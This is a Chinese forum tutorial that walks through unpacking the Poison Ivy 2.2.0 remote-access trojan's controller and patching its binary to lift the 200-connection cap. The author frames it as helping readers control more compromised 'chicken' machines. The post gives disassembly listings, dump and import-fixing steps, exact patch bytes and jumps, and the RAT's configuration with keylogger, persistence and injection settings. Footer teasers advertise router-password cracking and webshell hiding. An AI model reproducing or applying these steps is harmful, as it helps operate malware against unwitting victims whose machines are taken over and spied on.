当当养“鸡”专业户:pi2.2.0脱壳及连接200限制去除逆向工程

所属分类: 网络安全 / 加密解密 阅读数: 143
收藏 0 赞 0 分享
【文章标题】: 当当养“鸡”专业户!
【文章作者】: KOOK1991
【作者邮箱】: WeKnow@163.com
【作者QQ号】: 371161181
【软件名称】: Poison Ivy 2.2.0
【下载地址】: http://www.poisonivy-rat.com/
【加壳方式】: 未知
【编写语言】: Borland Delphi 6.0 - 7.0
【使用工具】: OllyICE、LoadPE、ImportREC、Topo
【操作平台】: Win9x/NT/2000/XP
【软件介绍】: 国外知名木马,服务端才几KB,强!
【作者声明】: 我是菜鸟我怕谁!!!
--------------------------------------------------------------------------------
【详细过程】

初中的时候一直认为拥有几千台肉鸡才叫“黑客”。眨眼间,两三年过去了,终于理解了“黑客”的真意,决心来看雪好
好学学。无奈高手太多,使我无地自容,近来偶有感想,便拿出来显摆显摆……

Poison Ivy,知道吧?很有名气的木马,可就不知道为啥在国内火不起来,但我挺爱用。(受不了一些哥们,这么小的木
马不用,成天背着几百KB的鸽子满天飞……)好东西总有限制,Poison Ivy 2.2.0也不例外,限制最大连接数为200。
于是我抄起了家伙,上路了……

首先,阐述一下这回的破解目标:

对Poison Ivy 2.2.0进行逆向工程,增加自定义最大连接数的功能,以方便我们使用。让更多的人成为养“鸡”专业户,
从而脱贫、致富、奔小康!!!!!!

用PEiD查不出来壳,无奈。直接用OllyICE上,停在入口点:

005A3060 > 60 pushad
005A3061 E8 00000000 call 005A3066
005A3066 5D pop ebp
005A3067 81ED 725B4000 sub ebp, 00405B72
005A306D 64:A1 30000000 mov eax, dword ptr fs:[30]
005A3073 0FB640 02 movzx eax, byte ptr [eax 2]
005A3077 0AC0 or al, al
005A3079 74 04 je short 005A307F
005A307B 33C0 xor eax, eax

经验太少,看不出是什么壳:-(直接上。走过005A3060,直接用ESP定律“HE 0012FFA4”,F9运行,卡到这里:

005A3711 50 push eax ; PI.005A36C0
005A3712 33C0 xor eax, eax
005A3714 64:FF30 push dword ptr fs:[eax]
005A3717 64:8920 mov dword ptr fs:[eax], esp
005A371A EB 01 jmp short 005A371D
005A371C 8700 xchg dword ptr [eax], eax
005A371E 0000 add byte ptr [eax], al
005A3720 0000 add byte ptr [eax], al
005A3722 0000 add byte ptr [eax], al
005A3724 0000 add byte ptr [eax], al

F8一路向前

005A371D 0000 add byte ptr [eax], al ; 访问违规:正在写入到[00000000]

Shift F8,来到:

7C92EAF0 8B1C24 mov ebx, dword ptr [esp]
7C92EAF3 51 push ecx
7C92EAF4 53 push ebx
7C92EAF5 E8 C78C0200 call 7C9577C1
7C92EAFA 0AC0 or al, al
7C92EAFC 74 0C je short 7C92EB0A
7C92EAFE 5B pop ebx
7C92EAFF 59 pop ecx
7C92EB00 6A 00 push 0
7C92EB02 51 push ecx
7C92EB03 E8 11EBFFFF call ZwContinue
7C92EB08 EB 0B jmp short 7C92EB15
7C92EB0A 5B pop ebx
7C92EB0B 59 pop ecx
7C92EB0C 6A 00 push 0
7C92EB0E 51 push ecx
7C92EB0F 53 push ebx
7C92EB10 E8 3DF7FFFF call ZwRaiseException

Alt F9返回:

00519B33 00B0 97510055 add byte ptr [eax 55005197], dh
00519B39 8BEC mov ebp, esp ; 来到这里
00519B3B 83C4 F0 add esp, -10
00519B3E B8 D8975100 mov eax, 005197D8
00519B43 E8 1CD0EEFF call 00406B64
00519B48 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B4D 8B00 mov eax, dword ptr [eax]
00519B4F E8 1822F7FF call 0048BD6C
00519B54 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B59 8B00 mov eax, dword ptr [eax]
00519B5B BA 989B5100 mov edx, 00519B98 ; ASCII "Poison Ivy"
00519B60 E8 FF1DF7FF call 0048B964
00519B65 8B0D 90CE5100 mov ecx, dword ptr [51CE90] ; PI.0051F368
00519B6B A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B70 8B00 mov eax, dword ptr [eax]
00519B72 8B15 E8FB5000 mov edx, dword ptr [50FBE8] ; PI.0050FC34
00519B78 E8 0722F7FF call 0048BD84

哈哈,来到OEP,很熟悉的Delphi开头。用LoadPE修正镜像大小,完全Dump。再打开ImportREC,OEP填上00119B38,自动查
找INT -> 获取输入表 -> Fix Dump,脱壳OK~~~~~

为了保险起见,再用PEiD查一下脱壳后的文件――“Borland Delphi 6.0 - 7.0”,呵呵,没错,就是你!!

用Dede打开脱壳后的Poison Ivy,Dede卡住了,看来作者不是吃素的。

只好用OllyICE载入脱壳后的Poison Ivy -> Ultra String Reference -> Find ASCII。看了半天,终于找到了一句有用的
String:

Ultra String Reference, 条目 1813
Address=0051170A
Disassembly=mov edx, 00511844
Text String=please assign a password for the connection:

Ultra String Reference, 条目 1814
Address=0051170F
Disassembly=mov eax, 0051187C
Text String=new connection

直接双击来到这里

005116CD |. 50 push eax ; /Parm
005116CE |. 68 7E660480 push 8004667E ; |Cmd = FIONBIO
005116D3 |. 56 push esi ; |Socket
005116D4 |. E8 D7BDF7FF call ; \ioctlsocket
005116D9 |. 81BB 3C070000>cmp dword ptr [ebx 73C], 0C8
005116E3 |. 7C 0B jl short 005116F0
005116E5 |. 56 push esi ; /Socket
005116E6 |. E8 8DBDF7FF call ; \closesocket
005116EB |. E9 F7000000 jmp 005117E7
005116F0 |> 8D45 F4 lea eax, dword ptr [ebp-C]
005116F3 |. 8B15 ACF35100 mov edx, dword ptr [51F3AC]
005116F9 |. E8 0632EFFF call 00404904
005116FE |. 803D 9DF35100>cmp byte ptr [51F39D], 0
00511705 |. 74 12 je short 00511719
00511707 |. 8D4D F4 lea ecx, dword ptr [ebp-C]
0051170A |. BA 44185100 mov edx, 00511844 ; please assign a password for the connection:
0051170F |. B8 7C185100 mov eax, 0051187C ; new connection
00511714 |. E8 AB41F2FF call 004358C4
00511719 |> 8D4D C8 lea ecx, dword ptr [ebp-38]

哈哈,众里寻他千百度,蓦然回首――小样,你在这啊:

005116D9 |. 81BB 3C070000 C8000000 cmp dword ptr [ebx 73C], 0C8 ; 比较当前连接数和0C8(就是200嘛)
005116E3 |. 7C 0B jl short 005116F0 ; 小于200则跳
005116E5 |. 56 push esi ; /Socket
005116E6 |. E8 8DBDF7FF call ; \closesocket 断开连接

可见在005116DF处的C8000000就是最大连接数,记住这个地址,后面有用的哦。

找到了判断最大连接数的地方,可以直接把005116E3改成JMP,但有一点,假如你肉鸡太多,岂不被DDos了?看来这点还不
够,我们还得控制最大连接数,也就是让程序随我们的意愿来自动修改005116DF处的最大连接数。考虑了半天,我决定用
Poison Ivy的配置文件Poison Ivy.ini来保存欲设的最大连接数,以便我们在具体应用时方便地修改。

先看看Poison Ivy.ini的内容吧!

[Disclaimer] ; 软件的启动模式(是否显示使用协议)
Show=1
[Placement] ; 软件的窗口及控件的大小设置
MaximizedState=0
Top=491
Left=330
Width=744
Height=231
ConTop=145
ConLeft=110
ConWidth=650
ConHeight=380
Column0=50
Column1=90
Column2=90
Column3=80
Column4=80
Column5=60
Column6=45
Column7=63
Column8=67
Column9=50
Column10=57
DataTransfers=0
[Settings] ; 很明显是有关控制端的配置信息,就把最大连接数存这吧
ScrSize=75
ScrBits=24
ShareTo=
ShareToSocks=
ShareSocks=0
Port=3460
Password=admin
BalloonTip=1
MinimizeTray=1
CloseTray=0
Prompt=0
PromptExit=0
SimTransfers=2
SDrounds=3
Cache=1
WindowColor=1
TimestampColor=1
KeynameColor=1
WindowName=008000
Timestamp=0000FF
Keyname=808080
PromptDelete=1
AutoRefresh=0
TreeLayout=1
AutoLookUpdates=1
AutoRemove=1
HidePW=0
[Connection] ; 配置被控端的信息1
DNS=127.0.0.1:3460,
ID=
Password=admin
Socks4=0
S4DNS=
[Startup] ; 配置被控端的信息2
Startup=0
ActiveXKey={1B4B734A-CC89-9B4A-0705-060108040104}
[Installation]
Filename=
Copy=0
CopySystem=1
CopyWindows=0
Melt=0
Keylogger=0
Persistence=0
[Advanced] ; 配置被控端的信息3
ProcessMutex=)!VoqA.I4
KeyLoggerMutex=VLC9032Ca
CustomInject=0
CustomInjectProc=msnmsgr.exe

我就决定在[Settings]里添加一个子项“Crack”,用它来控制最大连接数,OK,开工!!!!

要在配置文件中添加最大连接数的信息,最重要的就是读出最大连接数,那我没就必须找到程序是如何读配置文件的。重
新回到OllyICE中看String:

Ultra String Reference, 条目 1931
Address=00514609
Disassembly=mov edx, 00514C28
Text String=settings

Ultra String Reference, 条目 2070
Address=0051591E
Disassembly=mov edx, 00516828
Text String=settings

其中有很多的Settings,我只选了两处,因为其他的Settings都分布在这两处附近:

00514609处:

005145EB |. 50 push eax
005145EC |. B9 5C4C5100 mov ecx, 00514C5C ; sharetosocks
005145F1 |. BA 284C5100 mov edx, 00514C28 ; settings
005145F6 |. 8B45 FC mov eax, dword ptr [ebp-4]
005145F9 |. 8B30 mov esi, dword ptr [eax]
005145FB |. FF56 04 call dword ptr [esi 4]
005145FE |. A0 A7F35100 mov al, byte ptr [51F3A7]
00514603 |. 50 push eax
00514604 |. B9 744C5100 mov ecx, 00514C74 ; sharesocks
00514609 |. BA 284C5100 mov edx, 00514C28 ; settings
0051460E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514611 |. 8B30 mov esi, dword ptr [eax]
00514613 |. FF56 14 call dword ptr [esi 14]
00514616 |. A1 7CF35100 mov eax, dword ptr [51F37C]
0051461B |. 50 push eax
0051461C |. B9 884C5100 mov ecx, 00514C88 ; port
00514621 |. BA 284C5100 mov edx, 00514C28 ; settings
00514626 |. 8B45 FC mov eax, dword ptr [ebp-4]
00514629 |. 8B30 mov esi, dword ptr [eax]
0051462B |. FF56 0C call dword ptr [esi C]
0051462E |. A1 ACF35100 mov eax, dword ptr [51F3AC]
00514633 |. 50 push eax
00514634 |. B9 984C5100 mov ecx, 00514C98 ; password
00514639 |. BA 284C5100 mov edx, 00514C28 ; settings
0051463E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514641 |. 8B30 mov esi, dword ptr [eax]
00514643 |. FF56 04 call dword ptr [esi 4]
00514646 |. A0 9AF35100 mov al, byte ptr [51F39A]

0051591E处:

005158F8 . 50 push eax
005158F9 . B9 5C685100 mov ecx, 0051685C ; sharetosocks
005158FE . BA 28685100 mov edx, 00516828 ; settings
00515903 . 8B45 F8 mov eax, dword ptr [ebp-8]
00515906 . 8B18 mov ebx, dword ptr [eax]
00515908 . FF13 call dword ptr [ebx]
0051590A . 8B55 A4 mov edx, dword ptr [ebp-5C]
0051590D . B8 B4F35100 mov eax, 0051F3B4
00515912 . E8 A9EFEEFF call 004048C0
00515917 . 6A 00 push 0
00515919 . B9 74685100 mov ecx, 00516874 ; sharesocks
0051591E . BA 28685100 mov edx, 00516828 ; settings
00515923 . 8B45 F8 mov eax, dword ptr [ebp-8]
00515926 . 8B18 mov ebx, dword ptr [eax]
00515928 . FF53 10 call dword ptr [ebx 10]
0051592B . A2 A7F35100 mov byte ptr [51F3A7], al
00515930 . 68 840D0000 push 0D84
00515935 . B9 88685100 mov ecx, 00516888 ; port
0051593A . BA 28685100 mov edx, 00516828 ; settings
0051593F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515942 . 8B18 mov ebx, dword ptr [eax]
00515944 . FF53 08 call dword ptr [ebx 8]
00515947 . A3 7CF35100 mov dword ptr [51F37C], eax
0051594C . 68 98685100 push 00516898
00515951 . 8D45 A0 lea eax, dword ptr [ebp-60]
00515954 . 50 push eax
00515955 . B9 A8685100 mov ecx, 005168A8 ; password
0051595A . BA 28685100 mov edx, 00516828 ; settings
0051595F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515962 . 8B18 mov ebx, dword ptr [eax]
00515964 . FF13 call dword ptr [ebx]
00515966 . 8B55 A0 mov edx, dword ptr [ebp-60]

具体谁是程序开始运行时读取Poison Ivy.ini的地方,不知道。分别下断点,0051591E在开始时断下来,00514609在结束
时断下来,可见0051591E是读取Poison Ivy.ini,00514609是保存Poison Ivy.ini,知道了这些,继续!!

分析一下,程序是如何读取Poison Ivy.ini里的内容的:

00515930 . 68 840D0000 push 0D84 ; 压入默认端口
00515935 . B9 88685100 mov ecx, 00516888 ; port INI中保存端口信息的子项名称
0051593A . BA 28685100 mov edx, 00516828 ; settings INI中保存端口信息的项名称
0051593F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515942 . 8B18 mov ebx, dword ptr [eax]
00515944 . FF53 08 call dword ptr [ebx 8] ; 进行读取
00515947 . A3 7CF35100 mov dword ptr [51F37C], eax ; 把读取的值保存到51F37C

00515930处之所以要把默认端口压入,是因为程序怕在读不出配置文件中port这一子项时,使用0来做端口导致出错,可
见“push 0D84”的作用是让程序在00515944读不出配置文件该项时采用备用值0D84。

好了,打开Topo差入100字节代码空间,(本人懒得去找了可用空间了,还是用工具吧,100字节肯定够用。)Topo中显示
100字节加到了005A3A33,下面开始添加代码:

首先,用OllyICE二进制编辑005A3A33,加入字符串“Crack”。(别忘了在“Crack”后加“00”。)

接着,在005A3A39处添加我们的代码:

005A3A39 68 840D0000 push 0C8 ; 压入默认最大连接数,保存备用值200
005A3A3E B9 333A5A00 mov ecx, 005A3A33 ; ASCII "Crack" INI中保存最大连接数的子项名称
005A3A43 BA 28685100 mov edx, 00516828 ; ASCII "Settings" INI中保存最大连接数的项名称
005A3A48 8B45 F8 mov eax, dword ptr [ebp-8]
005A3A4B 8B18 mov ebx, dword ptr [eax]
005A3A4D FF53 08 call dword ptr [ebx 8] ; 进行读取
005A3A50 A3 DF165100 mov dword ptr [5116DF], eax ; 把读取的最大连接数保存到上文提到的005116DF处,替换原来的最大连接数

方便起见,就让程序从00515930处跳到我们这里吧,即:

00515930 . 68 840D0000 push 0D84

改为:

00515930 .- E9 04E10800 jmp 005A3A39

为了使程序正常运行我们还要在005A3A50的下面加入如下代码:

005A3A55 68 840D0000 push 0D84 ; 把00515930原有功能修改了,最后还是要加上的,所谓“有借有还,再借不难”
005A3A5A - E9 D61EF7FF jmp 00515935 ; 回归原位,这就相当于台湾再咋拗,到头还是得回归咱中国,呵呵:-)

OK,用OllyICE保存EXE文件,让我来测试一下……

打开Poison Ivy.ini在[Settings]下加入Crack=0,呵呵一个也连接不上了。把Crack=0改为10000,哈哈,肉鸡出现了!!
再把Crack=0删除,哦~~~~,肉鸡又出现了!!!!!成功!!!!!

最后,给有对本文兴趣的朋友留个小作业:继续对00514609处进行逆向工程,使程序可以在关闭时自动保存当前的最大连
接数……OK,就到这把!!!

更多精彩内容其他人还在看

无线网络密码的破解方法(图)

自从无线网络诞生之日起,“安全”这个词就始终如影随形的伴随在“无线”的身边。攻与防如同亲兄弟一样,无论你加密手段多么的先进,不久之后就会有各种各样的破解方式出现。前不久,我们中关村在线网络设备频道里有篇《你真的了解吗 无线路由器密码设置模式》的文章,详
收藏 0 赞 0 分享

教你如何破解路由器的帐号和密码

本文总结几个破解路由器密码的方法以及如何实现内网中反弹木马的上线:   一.扫描路由器端口为了路由器的安全,网管通常都会将路由器的默认端口(80)给更改掉,所以我们破解路由器密码的第一步就是必须要找到路由器的wEB管理端口。   如果路由器上的UPnP(通用即
收藏 0 赞 0 分享

给你的大马加密的实用方法

大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好,于是你就用了,但是你没想过该马可能有后门?现在很多的大马都加密了,打开时候一片乱码,是不是也想加密自己的大马了,加密后的Webshell不仅可以防止别人捡我们的Shell用,还能免杀webshell。ASP木
收藏 0 赞 0 分享

密码失而复得 RAR文件密码破解器(图)

RAR是一款常见的压缩格式,主要运用于文件的存储与传递。互联网上提供下载的资源中,RAR格式占很大比重。出于安全的需求以及隐私的保护,有相当一部分的RAR文件被加上了密码,解不开密码的RAR文件如同垃圾文件一样无用,所以解开RAR的密码就显得尤为重要了。 RAR Password
收藏 0 赞 0 分享

文档安全加密系统的实现方式(图)

加密技术是利用数学或物理手段,对电子信息在传输过程中或存储设备内的数据进行保护,以防止泄漏的技术。在信息安全技术中,加密技术占有重要的地位,在保密通信、数据安全、软件加密等均使用了加密技术。常用的加密算法有DES系列(包括DES和3DES),RC系列(常用的有RC4
收藏 0 赞 0 分享

文件夹加密器使文件加密更轻松(图)

文件夹加密器就是一款功能强大的密码加密工具,使用这个软件我们就可以轻松的为重要的文件夹加密了。下面来看看这款软件的使用
收藏 0 赞 0 分享

Kaspersky Lab 在线注册中心Key远程暴力破解

Kaspersky 是一个俄罗斯杀毒软件专业厂商。 其产品采用租赁销售方式,即任何人只能购买一段时间的使用期限,超过使用期限后除非再次购买期限否则不可再使用其软件。具体表现形式为:用户购买软件后根据序列号到Kaspersky Lab站点(https://activ
收藏 0 赞 0 分享

黑客揭秘攻击Discuz!内幕

今天帮朋友忙看一套程序,程序看了看发现经过加密了,如图1所示 原来是一个叫做ASP代码加密工具的程序加密后的结果。于是乎从网上下载了一套ASP代码加密工具v5.0,准备分析一下。程序说明还是比较吓人的,这里我们截取部分说明如下,“ASP代码加密工具全球最好的
收藏 0 赞 0 分享

使用开源PGP技术实现Solaris 10下的加密解密(图)

一、PGP(Pretty Good Privacy)技术简介   1、PGP简介   PGP技术是一个基于非对称加密算法RSA公钥体系的邮件加密技术,也是一种操作简单、使用方便、普及程度较高的加密软件。PGP技术不但可以对电子邮件加密,防止非授权者阅读信件;还能对电子邮
收藏 0 赞 0 分享

动态加解密技术详解(图)

随着计算机和网络技术的飞速发展,越来越多的信息以电子形式存储在个人和商用电脑中,并且通过网络进行广泛地传递,在大量的信息存储和交换中,信息的安全问题越来越引起人们的重视。信息保密的理论基础是密码学,根据现代密码学的理论,一个好的加密算法的安全性只依
收藏 0 赞 0 分享
查看更多